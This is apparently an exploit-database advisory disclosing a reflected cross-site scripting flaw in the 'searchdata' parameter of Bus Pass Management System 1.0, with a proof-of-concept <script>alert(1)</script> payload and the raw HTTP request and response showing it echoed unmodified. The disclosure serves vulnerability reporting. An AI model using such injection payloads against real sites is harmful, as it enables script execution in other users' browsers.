Bus Pass Management System 1.0 Cross Site Scripting Vulnerability

🗓️ 29 Sep 2022 00:00:00Reported by Ali AlipourType

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Bus Pass Management System 1.0 XSS Vulnerabilit

# Exploit Title: Bus Pass Management System 1.0 - 'searchdata' Cross-Site Scripting (XSS)
# Exploit Author: Ali Alipour
# Vendor Homepage: https://phpgurukul.com/bus-pass-management-system-using-php-and-mysql
# Software Link: https://phpgurukul.com/wp-content/uploads/2021/07/Bus-Pass-Management-System-Using-PHP-MySQL.zip
# Version: 1.0
# Tested on: Windows 10 Pro x64 - XAMPP Server
# CVE : N/A


#Issue Detail:

The value of the searchdata request parameter is copied into the HTML document as plain text between tags. The payload cyne7<script>alert(1)</script>yhltm was submitted in the searchdata parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

# Vulnerable page: /buspassms/download-pass.php

# Vulnerable Parameter: searchdata [ POST Data ]

#Request : 

POST /buspassms/download-pass.php HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=s5iomgj8g4gj5vpeeef6qfb0b3
Origin: https://127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
Referer: https://127.0.0.1/buspassms/download-pass.php
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 25

searchdata=966196cyne7%3cscript%3ealert(1)%3c%2fscript%3eyhltm&search=



#Response : 

HTTP/1.1 200 OK
Date: Fri, 01 Jul 2022 00:14:25 GMT
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.8
X-Powered-By: PHP/7.4.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 6425
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
<head>
<title>Bus Pass Management System || Pass Page</title>

<script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLba
...[SNIP]...
<h4 style="padding-bottom: 20px;">Result against "966196cyne7<script>alert(1)</script>yhltm" keyword </h4>
...[SNIP]...

29 Sep 2022 00:00Current